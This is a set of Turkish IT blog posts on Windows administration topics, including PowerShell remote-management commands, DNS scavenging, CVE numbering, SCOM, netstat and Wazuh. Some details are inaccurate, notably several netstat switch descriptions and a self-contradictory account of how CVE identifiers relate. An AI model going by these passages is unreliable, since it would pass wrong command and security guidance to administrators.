Kullanıcı hesaplarına yönelik bazı atakları engeller: "Protected Users" grubuna dahil olan hesaplar, birçok kullanıcı hesabıyla yapılan atakların hedefi olmazlar. Örneğin, bu hesaplar, parola çalma, hesap taklit etme ve pasif dinleme gibi ataklara karşı daha korunaklıdır. Bu korumalar, "Protected Users" grubuna dahil olan hesaplar için varsayılan olarak etkinleştirilir ve hesaplar bu korumalardan faydalanır. Ancak, bazı durumlarda, bu korumaların etkinleştirilmesi cihazın uyumluluğunu veya performansını etkileyebilir. Saygılarımla. --- ## PowerShell "WMI, CIM, GWMI, WinRM, PsRemoting, RPC, WS-Management" Link: https://farukguler.com/posts/powershell-wmi-cim-gwmi-winrm-rpc-psremoting-ws-management/ WMI (Windows Management Instrumentation), CIM (Common Information Model), GWMI (Get-WmiObject), WinRM (Windows Remote Management), PSRemoting (PowerShell Remoting), RPC (Remote Procedure Call) ve WS-Management (Web Services for Management) Windows tabanlı sistemlerde "uzaktan yönetim" ve "bilgi alışverişi" için kullanılan protokol ve araçları içeren bir dizi teknolojidir. WMI: (Windows Management Instrumentation), sistem yönetimi için bir altyapı sağlayan Microsoft teknolojisidir. WMI, Windows işletim sistemine dahil edilmiştir ve bilgisayar kaynaklarını yönetmek için kullanılabilir. WMI, özellikle uzak bilgisayarlardaki sistem bilgilerini toplamak ve yönetmek için kullanışlıdır. CIM: (Common Information Model), sistem yönetimi için bir standarttır. CIM, WMI gibi teknolojilerin de temelini oluşturur ve sistemlerdeki bilgi ve kaynakların yönetimi için standart bir model sağlar. CIM, farklı işletim sistemleri ve cihazlar arasında biletişimi kolaylaştırarak, sistem yönetimini standartlaştırmak ve basitleştirmek için kullanışlıdır. GWMI (Get-WMIObject): PowerShell üzerinde WMI sorgularını çalıştırmak için kullanılır. GWMI, özellikle uzak bilgisayarlardaki sistem bilgilerini toplamak ve yönetmek için kullanışlıdır. GWMI ile, WMI sınıflarına ve özelliklerine erişebilir ve bu özelliklerin değerlerini alabilirsiniz. RPC:RPC (Remote Procedure Call), genellikle bir programlama dilinin işlevlerini uzaktaki bir sunucuda çağırmak ve çalıştırmak için kullanılan bir protokoldür. RPC tabanlı işlemler, belirli bir programlama diline veya platforma bağlı olarak farklı komutlara sahip olabilir. Örneğin, Python'da RPC komutları farklı olabilirken, Java'da farklı olabilir. WinRM: WinRM (Windows Remote Management), Microsoft Windows işletim sisteminde uzaktan yönetimi sağlayan bir yönetim protokolüdür. WinRM, sistem yöneticilerinin uzaktaki Windows tabanlı sistemleri uzaktan yönetmelerine ve komutları çalıştırmalarına olanak tanır. Unix tabanlı sistemlerde kullanılan SSH'nin benzeri şekilde, Windows tabanlı sistemler için standartlaştırılmış iletişim sağlar. PowerShell, WinRM'i uzaktan yönetim görevleri için kullanabileceğiniz Enter-PSSession ve Invoke-Command gibi cmdlet'lerle sağlar. Bu cmdlet'leri kullanarak yöneticiler uzaktan oturumlar oluşturabilir, komutları çalıştırabilir ve uzaktaki Windows makinelerinden sonuçları alabilir. PSRemoting:PSRemoting, PowerShell Uzaktan Yönetimi anlamına gelir ve PowerShell'in uzaktaki bilgisayarlar üzerinde komutlar çalıştırma ve yönetim görevlerini gerçekleştirme yeteneğini ifade eder. PSRemoting, WinRM (Windows Remote Management) protokolünü kullanarak uzaktaki Windows makineleri ile iletişim kurar ve bu sayede uzaktaki sistemlere komutlar göndererek işlemleri gerçekleştirir. WS-Management: WS-Management (Web Services for Management) veya WS-Man, ağ üzerinde sistem yönetimi için kullanılan bir web hizmetleri tabanlı protokoldür. WS-Management, Microsoft ve diğer şirketler tarafından geliştirilmiş ve DMTF (Distributed Management Task Force) tarafından standartlaştırılmıştır. Bu protokol, sistemler arasında veri ve komut değişimi yapmak için SOAP (Simple Object Access Protocol) ve XML tabanlı mesajlaşma kullanır. "WS-Management" uzaktan yönetim ve izleme işlemlerini destekler. Bir ağdaki sistemleri ve cihazları uzaktan izlemek, yapılandırmak ve yönetmek için kullanılır. WMI, CIM, GWMI, WinRM, RPC, PSRemoting ve WS-Management için yaygın olarak kullanılan portlar: WMI (Windows Management Instrumentation): TCP 135: WMI, RPC (Remote Procedure Call) üzerinden hizmete bağlanmak için bu portu kullanır. Dinamik Portlar: WMI, RPC istemci ve sunucu tarafında dinamik olarak bir port aralığı seçer. Bu port aralığı genellikle 49152 ile 65535 arasındadır. CIM (Common Information Model): CIM, doğrudan bir port kullanmaz. WMI gibi, CIM de RPC (Remote Procedure Call) aracılığıyla çalışır ve TCP 135 üzerinden hizmete bağlanır. GWMI (Get-WmiObject): GWMI, WMI sorguları yapmak için kullanılan PowerShell cmdlet'lerinden biridir. GWMI'nın doğrudan bir portu yoktur. WMI'ın kullandığı portlarla iletişim kurar. WinRM (Windows Remote Management): TCP 5985: WinRM varsayılan olarak HTTP üzerinden çalışır ve bu portu kullanır. Bu port, HTTP üzerinden metinsel verileri şifrelenmeden ileten açık bir porttur. TCP 5986: WinRM, HTTPS üzerinden çalıştırıldığında bu portu kullanır. Bu port, verilerin şifrelenmesini sağlar ve daha güvenlidir. PSRemoting (PowerShell Remoting): PSRemoting, WinRM protokolünü kullandığından, PSRemoting portları da WinRM portları ile aynıdır. TCP 5985: HTTP üzerinden çalışan PSRemoting için kullanılır. TCP 5986: HTTPS üzerinden çalışan PSRemoting için kullanılır. RPC (Remote Procedure Call): TCP 135: RPC hizmeti için kullanılır. Dinamik yüksek portlar (49152-65535): RPC sunucuları ve istemcileri arasında dinamik olarak atanır. WS-Management (Web Services for Management): TCP 5985: WinRM protokolü üzerinden WS-Management hizmetini "HTTP" üzerinden çalıştırmak için kullanılır. TCP 5986: WinRM protokolü üzerinden WS-Management hizmetini "HTTPS" üzerinden çalıştırmak için kullanılır. ***Not: Yukarıda belirtilen port numaraları varsayılan portlardır. Sistem yöneticileri ve güvenlik politikaları, bu port numaralarını değiştirebilir veya kısıtlayabilir PowerShell Üzerinde Örnek Sorgular: #Uzak bir bilgisayarda etkileşimli bir PowerShell oturumu açmak: Enter-PSSession -ComputerName MUHASEBE-03 #Uzak bir bilgisayarda yeni bir dosya oluşturma: New-Item -Path "\\RemoteComputerName\C$\Temp" -Name "NewFile.txt" -ItemType File #MUHASEBE-03 adlı uzaktaki bilgisayarda "Get-Process" komutunu çalıştırır işlem listesini alır. Invoke-Command -ComputerName MUHASEBE-03 -ScriptBlock { Get-Process } #Uzak bir bilgisayarda yeni bir dosya oluşturma ve içeriğini düzenleme: $filePath = "\\MUHASEBE-03\C$\users\ayse\desktop\indexed.php" $content = @" <?php echo "Hello, world!"; ?> "@ Set-Content -Path $filePath -Value $content #Bu komut uzak sunucu üzerinde yüklü olan yazılımların bir listesini döndürecektir. $ComputerName = "MUHASEBE-03" $SoftwareList = Get-WmiObject -Class Win32_Product -ComputerName $ComputerName | Select-Object Name, Version, Vendor, InstallDate, Product $SoftwareList #Uzak bir bilgisayarın açık TCP bağlantılarını görüntüleme: Get-NetTCPConnection -ComputerName "MUHASEBE-03" | Where-Object { $_.State -eq "Established" } | Select-Object -Property LocalAddress,LocalPort,RemoteAddress,RemotePort #Uzak bir bilgisayarın sistem bilgisini görüntüleme: Get-WmiObject -Class Win32_ComputerSystem -ComputerName "MUHASEBE-03" | Select-Object -Property Name,Manufacturer,Model,TotalPhysicalMemory #Uzak bir bilgisayardaki Windows günlük kayıtlarını görüntüleme: Get-EventLog -LogName System -ComputerName "MUHASEBE-03" | Select-Object -Property TimeGenerated,Message #Uzak bir bilgisayardaki etkin oturumları görüntüleme: Get-CimInstance -ClassName Win32_LogonSession -ComputerName "MUHASEBE-03" | Select-Object -Property LogonId #Uzak bir bilgisayarda kullanıcı hesaplarını listeleme: Get-WmiObject -Class Win32_UserAccount -ComputerName "MUHASEBE-03" #Uzak bir bilgisayarda kullanıcı hesaplarını listeleme: Get-WmiObject -Class Win32_UserAccount -ComputerName "MUHASEBE-03" #Uzak bir bilgisayarın belirli bir kullanıcısının oturumunu kapatma: Invoke-WmiMethod -Class Win32_OperatingSystem -Name Win32Shutdown -ArgumentList 4 -ComputerName "MUHASEBE-03" -Credential (Get-Credential) #Uzak bir bilgisayarda bir programı kaldırma: $program = Get-WmiObject -Class Win32_Product -Filter "Name='ProgramName'" -ComputerName "MUHASEBE-03" $program.Uninstall() #Yerel bilgisayarınızın disk kullanımını görüntüleme: Get-Volume | Select-Object -Property DriveLetter,FileSystemLabel,Size,UsedSpace,DriveType | Sort-Object -Property DriveType,DriveLetter Yerel bir kullanıcının oturum açma istatistiklerini almak için "Get-WinEvent" kullanmak: Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;Level=0;StartTime=(Get-Date).AddDays(-7)} | Where-Object {$_.Properties[5].Value -eq 'username'} | Select-Object TimeCreated, Message ve daha niceleri... Umarım faydalı olmuştur – I hope it was helpful --- ## What's DNS Scavenging? Link: https://farukguler.com/posts/dns-scavenging/ DNS Scavenging, bir DNS sunucusunudaki, kayıtlı kaynakların zaman aşımını izleyerek eski kayıtları temizlemesi işlemidir. Bu işlem artık kullanılmayan veya güncel olmayan DNS kayıtlarının DNS Zone database'inden silinmesini sağlar. Peki Nasıl kullanılır? ◾◾ “Enable automatic scavenging of stale records” seçeneğini enable etmelisiniz. Bunu yapmadan zoneler üzerinde yaptığınız bir ayarın hiçbir etkisi olmayacaktır. ◾◾ Bu işlemi toplu halde yapmak, zone’lar üzerinde aging özelliğini açmak için Server > sağ tık > “Set Aging/Scavenging for all zones” seçeneğini seçebilirsiniz. ◾◾ Bu toplu işlem sadece Active Directory Integrated zoneleri etkiler. Primary zone'ler için bu işlemi yapmak istiyorsanız ilgili zonenin Properties/Özelliklerinden bu seçeneği aktif etmeniz gerekir. ◾◾ Bu işlemi istediğiniz herhangi bir zamanda manuel olarak tetikleyebilirsiniz. Server > sağ tık > "Scavenge Stale Resource Records" girdiğiniz Aging(saat-gün) tanımlamalarına göre Stale(süresi geçmiş) duruma düşen tüm kayıtlar tanımladığınız zonelerden anında silinecektir. ◾◾ Timestamp değeri ise clientlerın kendisini DNS'e kaydettirdiği en son gün ve saati göstermektedir. ◾◾ Manuel olarak girilen DNS kayıtları, DNS scavenging işlemine tabi değildirler. Yani bu kayıtlar, Timestamp değeri olmadığı için belirli bir süre sonra otomatik olarak silinmezler ve kullanılmayan kayıt listesine eklenmezler. Manuel olarak girilen kayıtların ne zaman silineceği veya güncellenmesi gerektiği, sistem yöneticisi tarafından takip edilmelidir. ◾◾ Ortamınızda hali hazırda bir DHCP Server veya Yapılandırması kullanıyorsanız Scaveng Periyod sürelerinin, DHCP (Lease Duration) IP kira süresinden daha uzun veya eşit olmasına dikkat edin. Çünkü DHCP kirası dolan ip adresini farklı bir cihaz/client'e verdiğinde eski DNS kaydı DNS Scavenging tarafından çoktan silinmiş olmalıdır. Yoksa çakışma yaşanacaktır. ◾◾ “Apply these settings to the existing Active Directory Integrated Zones” seçeneği işaretlerseniz varolan zone’lar üzerinde de bu işlemi gerçekleşecektir. Eğer bu seçeneği işaretlemezseniz sadece yeni zoneler içinde scavenging işlemi gerçekleştirilir. Mevcut zone'lerin ayarı değişmez. DNS scavenging'in etkinleştirilmesiyle birlikte, DNS sunucusu artık kayıtları otomatik olarak temizleyecektir. Bu süre defaultta 7+7= (14) gündür. Bu, ağ performansını iyileştirir ve hatalı sorgu sonuçlarını azaltır. Ancak, DNS scavenging işlemi, doğru şekilde yapılandırılmalıdır. Yanlış yapılandırılmış bir DNS scavenging, ağ sorunlarına neden olabilir. No-refresh interval ve Refresh interval Nedir? No-refresh interval: Yukarıda, 10 gün içerisinde istemci kayıt yenileme isteği gönderse bile timestamp değerinin güncellemesine izin verilmeyen süredir. Buda istemcilerin gereksiz yere sık sık kayıt güncellemesini engeller. Refresh interval: Aşağıda, 5 gün daha bekledikten sonra, bu clientleri "stale" olarak işaretle, Toplamda 10+5 yani (15) gün daha kendisini DNS' e kayıt ettirmezlerse "Host kayıtlarını sil" anlamına gelmektedir. Sağlıcakla – Best Regards --- ## CVE Nedir ve nasıl okunur? Link: https://farukguler.com/posts/cve-nedir-ve-nasil-okunur/ CVE, (Common Vulnerabilities and Exposures) yaygın kullanılan bir zafiyet ve tehdit tanımlama sistemidir. CVE numaraları, belirli bir yazılımda veya donanımda bulunan bir güvenlik açığını tanımlamak için kullanılır. CVE numaraları genellikle "CVE-" ile başlar ve bir takım sayılar ve harflerden oluşur. Örneğin, "CVE-2021-1234" gibi. Bu numaraların anlamı şu şekildedir: "CVE" kısaltması, Common Vulnerabilities and Exposures'ın kısaltmasıdır."2021", güvenlik açığının keşfedildiği yılın tarihini gösterir."1234", birincil sayısal tanımlayıcının dört basamaklı bir numarasıdır.Bu sayılar, örneğin "2021-1234" gibi birçok farklı güvenlik açığını tanımlamak için kullanılabilir. Bu nedenle, CVE numaraları, bir güvenlik açığını hızlı ve kolay bir şekilde tanımlamak için önemli bir araçtır. Hep Sorulan o soru; Herşey tamamda 1234 yaması 1231 zafiyetini kapatıyor mu? Aslında kapsamıyor, Her CVE numarası, benzersiz bir güvenlik açığı tanımlar ve bu nedenle her biri birbirinden farklıdır. Her CVE numarası, belirli bir güvenlik açığını tanımlamak için oluşturulur ve bu nedenle farklı numaralar farklı güvenlik açıklarını temsil eder. Bu nedenle, CVE-2021-1234 numarası, CVE-2021-1231 numarasını kapsamaz ve her biri farklı bir güvenlik açığını tanımlar.Aslında, CVE numaraları belirli bir güvenlik açığını tanımlamak için oluşturulur ve her biri benzersiz bir güvenlik açığı tanımlar. Ancak, bazen belirli bir CVE numarası bir başka CVE numarasının yerine geçebilir veya bir başka CVE numarasını kapsayabilir. Örneğin, bir CVE numarası önceden belirlenmiş bir CVE numarasından kaynaklanan bir sorunun bir varyasyonunu veya benzer bir sorunu belirleyebilir ve aynı numarayı kullanabilir. Bu nedenle, belirli bir CVE numarasının neyi kapsadığını belirlemek için ayrıntılı incelemeler yapmak gerekebilir. Ancak, genel olarak konuşursak, her CVE numarası benzersiz bir güvenlik açığı tanımlar ve farklı numaralar farklı güvenlik açıklarını temsil eder. Bu nedenle, CVE-2021-1234 numarası, CVE-2021-1233 numarasını kapsamaz ve her biri farklı bir güvenlik açığını tanımlar.Evet, bu konu Windows aylık güvenlik güncellemeleri için de geçerlidir. Microsoft, her ayın ikinci salı günü düzenli olarak Windows güvenlik güncellemeleri yayınlar ve bu güncellemeler genellikle bir dizi CVE numarası içerir. Bu CVE numaraları, güncellemenin hangi güvenlik açıklarını düzelttiğini belirlemek için kullanılır. Her bir güvenlik güncellemesi, belirli bir CVE numarası veya numaralarını kapsar. Ancak, bazı durumlarda, bir güvenlik açığı için birden fazla CVE numarası olabilir ve bir güncelleme birden fazla güvenlik açığını düzeltebilir. Bu nedenle, belirli bir güvenlik güncellemesinin hangi CVE numaralarını kapsadığını anlamak için ayrıntılı inceleme yapmak gerekebilir. "CVE" Microsoft Tarafında nasıl işliyor? Belirli bir Windows güvenlik güncellemesinin hangi CVE numaralarını kapsadığını öğrenmek için Microsoft'un Security Update Guide adlı web sitesini kullanabilirsiniz. Bu web sitesi, Microsoft'un yayınladığı tüm güvenlik güncellemelerini ve bunların hangi CVE numaralarını kapsadığını içerir. Aşağıdaki adımları izleyerek CVE numaralarını kapsayan güvenlik güncellemeleri hakkında ayrıntılı bilgi alabilirsiniz: Microsoft Security Update Guide web sitesine gidin: https://portal.msrc.microsoft.com/en-us/security-guidance Sol taraftaki "Security Updates" bölümünden "Monthly Rollups" veya "Security Only Updates" seçeneğini seçin. Güncellemelerin yayınlandığı tarihe göre arama yapın ve ilgili güncelleme için ayrıntılı bilgileri göstermek için "Details" seçeneğini tıklayın. "Details" sayfasında, güncellemenin hangi CVE numaralarını kapsadığını gösteren bir "Affected CVEs" bölümü vardır. Bu bölümde, güncellemenin hangi güvenlik açıklarını düzelttiğini görebilirsiniz. Bu şekilde, belirli bir Windows güvenlik güncellemesinin hangi CVE numaralarını kapsadığını öğrenebilir ve bilgisayarınızda güncellemenin kurulu olup olmadığını kontrol edebilirsiniz. Sağlıcakla - Best Regards --- ## Scom Agent Proxy Not Enabled Error Fixed Link: https://farukguler.com/posts/scom-agent-proxy-not-enabled-error-fixed/ Scom Agent Proxy Not Enabled Sorunu Nedir? "Agent proxy not enabled" (ajan vekili etkin değil) genellikle bir bilgisayar ağı sorunudur ve bir ağ cihazının belirli bir özelliğinin devre dışı bırakılması sonucu ortaya çıkar. Bu genellikle bir proxy sunucusu kullanarak internete erişmeye çalışırken ortaya çıkar. Ayrıca bu hata System Center Operations Manager (SCOM) iletişimini engelleyen bir sorundur. Bu hata, SCOM ajanının proxy yapılandırmasının doğru olmadığını veya hiç yapılandırılmadığını gösterir. Bir proxy sunucusu, bir ağdaki birçok bilgisayarın internete erişimini sağlayan bir sunucudur. Proxy sunucusu, internete erişim taleplerini alır, bunları kendisi tarafından gönderir ve yanıtı alır, ardından bu yanıtı orijinal istekte bulunan bilgisayara gönderir. Bu sayede, ağdaki tüm bilgisayarlar tek bir IP adresi kullanarak internete erişebilirler. "Agent proxy not enabled" hatası, genellikle bir bilgisayarın proxy sunucusu ayarlarının yanlış yapılandırılmasından kaynaklanır. Bu nedenle, sorunu çözmek için, bilgisayarın proxy ayarlarını kontrol etmek ve doğru şekilde yapılandırdığından emin olmak gerekir. Proxy ayarlarını doğru şekilde yapılandırdıktan sonra, sorunun giderilmesi gerektiğini düşünüyorum. "Scom agent proxy not enabled" hatası, Microsoft System Center Operations Manager (SCOM) yönetim aracının bir parçası olan SCOM ajanının, bir başka bilgisayar üzerindeki işlemleri izlemek veya yönetmek için gereken "Proxy" yetkisine sahip olmadığı anlamına gelir. Bu hatanın nedeni, SCOM ajanının hedef bilgisayara ulaşamaması veya yetkisiz bir şekilde erişmeye çalışması olabilir. Bu durumda, ajanın çalıştığı sunucunun ve hedef bilgisayarın ağ bağlantısının düzgün olduğundan emin olmak gereklidir. Bu hatayı çözmek için, SCOM yönetim aracı üzerinden ajanın Proxy yetkisini etkinleştirmek gereklidir. Bunu GUI aracılığıyla, Administration-Device Management-Agent Managed SCOM tarafından yönetilen söz konusu bilgisayara sağ tıklayın ve Özellikler altında, Güvenlik sekmesine tıklayın ve onay kutusuna tıklayın: Allow this agent to act as a proxy and discover managed objects on other computers. Ayrıca, hedef bilgisayarın ağ ayarlarının doğru olduğundan ve SCOM ajanının çalıştığı sunucunun yönetim aracına doğru bir şekilde yapılandırıldığından emin olunması gereklidir. Bu adımların tamamlanmasına rağmen, sorun devam ediyorsa, ajanın yeniden yüklenmesi veya SCOM yönetim aracının tamamen yeniden yapılandırılması gerekebilir. Scom Agent Proxy Not Enabled PowerShell PowerShell yönetici olarak çalıştırın. Get-SCOMAgent | where {$_.ProxyingEnabled -match "False"} Eğer sonuç "True" yerine "False" ise, ajan proxy özelliği etkinleştirilmemiştir. Aşağıdaki komutu kullanarak proxy özelliğini etkinleştirin. Get-SCOMAgent | where {$_.ProxyingEnabled -match "False"} | Enable-SCOMAgentProxy Proxy özelliğinin etkinleştirildiğinden emin olmak için aşağıdaki komutu tekrar çalıştırın. Get-SCOMAgent | where {$_.ProxyingEnabled -match "False"} Bu işlemi tamamladıktan sonra, SCOM agent proxy özelliği etkinleştirilmiş olmalıdır. Hata mesajının artık görüntülenmediğinden emin olmak için SCOM ortamınızı yeniden başlatmayı da deneyebilirsiniz. Sorun Hala düzelmedi mi? Eğer yukarıdaki adımları uyguladıysanız ve sorun hala devam ediyorsa, aşağıdaki önerileri deneyebilirsiniz: SCOM agent'ını yeniden yükleyin ve yeniden yapılandırın. SCOM agent'ını yönettiğiniz sunucu ve SCOM yönetim sunucusu arasındaki bağlantıyı kontrol edin. Bu bağlantı doğru yapılandırılmamışsa veya kesintiye uğramışsa, SCOM agent proxy özelliği de çalışmayabilir. SCOM yönetim sunucusu ve agent'ı arasındaki güvenlik duvarı veya diğer ağ bileşenlerini kontrol edin. Bu bileşenler, SCOM agent proxy özelliğinin doğru şekilde çalışmasını engelleyebilir. SCOM Agent Proxy özelliğini etkinleştirdikten sonra, SCOM agent'ının yeniden başlatılması gerektiğinden emin olun. Bu işlemi yapmak için aşağıdaki komutu kullanabilirsiniz: Restart-Service HealthService Eğer sorun hala devam ederse, System Center Operations Manager (SCOM) yeniden kurulması gerekebilir. Saygılarımla – Best Regards. --- ## Raspberry Pi Nedir? Link: https://farukguler.com/posts/raspberry-pi-nedir/ Raspberry Pi, düşük maliyetli, küçük boyutlu, çoklu kullanım alanlarına sahip, tek kart üzerinde bir bilgisayar platformudur. İngiltere merkezli Raspberry Pi Vakfı tarafından oluşturulan bu platform, öğrencilere ve hobi amaçlı kullanıcılara bilgisayar programlama ve donanım geliştirme konularında pratik yapma fırsatı sunmayı amaçlar. Raspberry Pi'nin temel özellikleri: Donanım: Raspberry Pi, genellikle bir kartın üzerinde entegre edilmiş bir bilgisayar sistemidir. İlk modellerde 700 MHz ARM11 işlemci bulunurken, daha sonraki modellerde 1.4 GHz'e kadar yükselen dört çekirdekli ARM Cortex-A53 işlemciler kullanılmıştır. RAM miktarı modelden modele değişiklik gösterir; örneğin, Raspberry Pi 4 Model B, 8 GB'a kadar RAM desteği sunar. HDMI, USB portları, Ethernet bağlantısı, Wi-Fi, Bluetooth, GPIO (Genel Amaçlı Giriş/Çıkış) pinleri gibi çeşitli bağlantı noktalarına sahiptir. Boyut ve Güç: Raspberry Pi, küçük bir kart form faktöründe gelir ve genellikle bir kredi kartından biraz daha büyük bir boyuta sahiptir. Genellikle 5V mikro USB güç adaptörü ile çalışır, bu nedenle düşük güç tüketir. Depolama: Raspberry Pi, genellikle bir MicroSD kart üzerine kurulu bir işletim sistemini kullanır. MicroSD kart, işletim sistemi ve kullanıcı verilerini depolamak için kullanılır. İşletim Sistemi: Raspberry Pi için birçok işletim sistemi seçeneği bulunur. Raspbian (Raspberry Pi için özel olarak tasarlanmış bir Debian türevidir) genellikle önerilen işletim sistemidir. Ayrıca, Ubuntu, Android, Fedora gibi farklı işletim sistemleri de Raspberry Pi üzerinde çalışabilir. Kullanım Alanları: Raspberry Pi, geniş bir kullanım yelpazesi sunar. Aşağıda bazı örnekler bulunmaktadır: Eğitim: Programlama ve bilgisayar bilimleri eğitimi için ideal bir araçtır. Hobi Projeleri: Elektronik, robotik, sensör projeleri gibi birçok hobi projesi üzerinde kullanılabilir. Medya Merkezi: Kodi veya Plex gibi yazılımlar yüklenerek evde medya merkezi olarak kullanılabilir. Akıllı Ev Projeleri: Akıllı termostatlar, ışık kontrol sistemleri gibi projelerde kullanılabilir. Web Sunucusu: Apache veya Nginx gibi yazılımlar ile birlikte kullanarak basit web sunucuları oluşturabilir. Oyun Konsolu: RetroPie yazılımı ile eski oyunları oynatmak için kullanılabilir. Gömülü Sistemler: Sensörleri okuma, verileri işleme ve çeşitli gömülü sistem uygulamalarını destekleme yetenekleri bulunur. Raspberry Pi, düşük maliyetli olması, geniş topluluk desteğine sahip olması ve çeşitli kullanım alanlarıyla popüler bir platform haline gelmiştir. Öğrenciler, hobi projeleriyle ilgilenenler, bilgisayar bilimleri öğrencileri ve endüstri profesyonelleri tarafından sıklıkla kullanılmaktadır. --- ## Some information about SYSVOL and NETLOGON Link: https://farukguler.com/posts/information-about-sysvol-and-netlogon/ "SYSVOL" ve "NETLOGON" dizinleri, Windows etki alanı denetleyicileri üzerinde tutulan özel paylaşılan dizinlerdir. Bu dizinler, etki alanı politikaları, oturum açma komut dosyaları ve diğer etki alanı ilişkilendirilmiş dosyaları içerir. "SYSVOL" Dizini Yolu:Varsayılan Yol: C:\Windows\SYSVOL "NETLOGON" Dizini Yolu (SYSVOL Dizini Altında)Varsayılan Yol: C:\Windows\SYSVOL\sysvol\guler.com\scripts NETLOGON Paylaşımı, Etki Alanı denetleyicisindeki Netlogon adlı bir klasör değildir . sysvol klasörüne girip netlogon klasörünü ararsanız, bunu sysvol altında bulamazsınız çünkü Netlogon bir klasör değildir. scripts klasörünün paylaşım adının Netlogon olarak görünmesidir. Unutmayın ki, Sysvol klasörü altındaki Script klasörü Netlogon paylaşımı görevi görmektedir. Not: Bu dizinlere erişim, yalnızca etki alanı yöneticileri veya belirli izinlere sahip kullanıcılar tarafından yapılmalıdır. Bu dizinlerle çalışmadan önce dikkatli olmalısınız çünkü yanlışlıkla bu dosyalara zarar verebilirsiniz. Ayrıca, bu dizinler içindeki dosyaların doğru şekilde yapılandırılması ve kullanılması gerekmektedir. Bu dizinlerin içeriği, etki alanı politikalarının ve oturum açma komut dosyalarının düzgün çalışmasını sağlamak için önemlidir. --- ## Netstat Kullanımı - Using Netstat Linux & WinOS Link: https://farukguler.com/posts/using-netstat/ Netstat, Windows işletim sistemiyle birlikte gelen güçlü bir komut satırı aracıdır ve ağ izleme, bağlantı durumu inceleme, port dinleme ve diğer ağla ilgili görevleri gerçekleştirmek için oldukça kullanışlıdır. Bu komut, bilgisayarınızın ağ bağlantılarını ve portlarını ayrıntılı bir şekilde incelemek ve yönetmek için mükemmel bir araçtır. TCP/IP iletişim prensibi, farklı ağ cihazları arasında veri alışverişi yapmak için kullanılır. Her paket, kaynak cihazdan hedef cihaza taşınır ve bu sayede iletişim sağlanır. Bu prensip, internetin ve modern ağların çalışma temelini oluşturur State (Durumlar): Listening (Dinleme): Bu durum, bir bilgisayarın belirli bir portu dinlediğini ve bu port üzerinden gelen bağlantıları beklediğini gösterir. Yani, dışarıdan gelen bağlantıları bu port üzerinden kabul etmeye hazır durumdadır. Established (Kurulmuş/Sağlanmış): "Established" durumu, iki bilgisayar arasında başarılı bir bağlantının kurulduğunu gösterir. Örneğin, bir web tarayıcısı bir web sunucusuna bağlandığında, bağlantı "established" durumuna geçer ve veri alışverişi bu bağlantı üzerinden gerçekleşir. Close_wait (Kapanma Beklemesi): Bu durum, bir bilgisayarın bir bağlantının kapatılmasını beklediğini gösterir. Genellikle bu durum, her iki tarafın bağlantının tamamen kapatılması için gereken son veri paketlerini beklediği bir aşamadır. Time_wait (Zaman Beklemesi): "Time_wait" durumu, bir bağlantının kapatıldığını gösterir, ancak belirli bir süre boyunca bağlantının tamamen kapanmasının beklediğini gösterir. Windows CMD & PowerShell: netstat -a Tüm bağlantıları ve dinleme bağlantı noktalarını görüntüler. netstat -a | more netstat -at Sadece TCP Portları Listeleme netstat -b Her Bağlantı veya Dinleme Bağlantı Noktası İle İlişkili Çalıştırılabilir Dosyayı Gösterir. netstat -e Ethernet İstatistiklerini Gösterir. netstat -f Yabancı adresler için Tam Etki Alanı Adlarını (FQDN) görüntüler. netstat -n Adresleri ve Bağlantı Noktalarının Numaralarını Sayısal Biçimde Gösterir netstat -an Dosya Alırken Karşıdakinin IP adresini Gösterir. netstat -any netstat -o Her Bağlantıyla İlişkili Sahip İşlem Kimliğini Gösterir. netstat -p İletişim Kuralının Bağlantılarını Gösterir. netstat -tp PID Numarasıyla Portu Kullanan Servisi Görüntüleme netstat -q Bağlantı kuyruğu (connection queue) bilgilerini görüntüler. netstat -s protokol başına istatistikleri görüntüleme seçeneği, protokol aşağıdakilerden herhangi biri olabilir: IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP veya UDPv6 netstat -r Yönlendirme Tablosunu Gösterir. netstat -s her İletişim Kuralları İçin İstatistikleri Gösterir. netstat -t Geçerli bağlantı boşaltma durumunu görüntüler. netstat -x NetworkDirect bağlantılarını, dinleyicileri ve paylaşılan uç noktaları görüntüler. netstat -v En Önemli Netstat Komutu Olan -v -b İle Birlikte Kullanılırsa Tüm Çalışan Dosyalar İçin Bağlantı ve Bağlantı Noktası Oluşumu İle İlgili Bileşenlerin Sırasını Gösterir. netstat -y Tüm bağlantılar için TCP bağlantı şablonunu görüntüler. Diğer seçeneklerle birleştirilemez. netstat -y 5 5 saniye aralıklarla tekrar kontrol eder. Linux Terminal: . . --- ## Wazuh Nedir? Wazuh Kurulumu  Link: https://farukguler.com/posts/wazuh-nedir/ Wazuh; Wazuh bir güvenlik olayı yönetimi (SIEM) platformudur ve açık kaynaklı olarak sunulmaktadır. Wazuh, şirketlerin, kurumların ve diğer organizasyonların ağ güvenliği ve sistemlerinin izlenmesi, tehditlere karşı korunması ve olaylarını analiz etmesi için kullanılan bir yazılımdır. Wazuh, farklı kaynaklardan gelen verileri toplar, bu verileri analiz eder ve olayların tespit edilmesi ve tepki verilmesi gereken durumları belirlemek için kullanılır. Wazuh, ağ ve sistemlerdeki aktiviteleri sürekli olarak izler ve anormal veya şüpheli aktiviteleri tespit ettiğinde uyarılar gönderir. Wazuh, önceden tanımlanmış bir dizi kurala ve özel durumlar için özelleştirilebilir politikalara dayanan bir olay yönetimi sistemidir. Wazuh, gelişmiş bir tehdit algılama ve yanıt sistemi içerir ve kullanıcıların isteğe bağlı olarak Wazuh'ı bir IDS (Intrusion Detection System) olarak da kullanmasına olanak tanır. Wazuh aynı zamanda birçok farklı veri kaynağından veri toplayabilir. Örneğin, ağ trafiği, güvenlik günlükleri, Windows ve Linux sunucuları ve hatta cloud servisleri gibi farklı kaynaklardan veriler toplayabilir. Toplanan veriler daha sonra Wazuh tarafından analiz edilir ve kullanıcılar tarafından önceden tanımlanmış kurallar ve politikalar ile karşılaştırılır. Sonuç olarak, Wazuh, birçok farklı kaynaktan gelen verileri toplayan, analiz eden ve olayların tespit edilmesi ve tepki verilmesi gereken durumları belirlemek için kullanılan bir açık kaynaklı SIEM platformudur. Wazuh indexer: Wazuh indeksleyici, oldukça ölçeklenebilir, tam metin arama ve analiz motorudur.Bu merkezi bileşen, Wazuh sunucusu tarafından oluşturulan uyarıları endeksler ve depolar. Wazuh server: Wazuh sunucusu, ajanlardan alınan verileri analiz eder ve tehdit istihbaratını kullanarak işler.Tek bir sunucu, binlerce aracıdan gelen verileri analiz edebilir ve bir küme olarak kurulduğunda ölçeklenebilir. 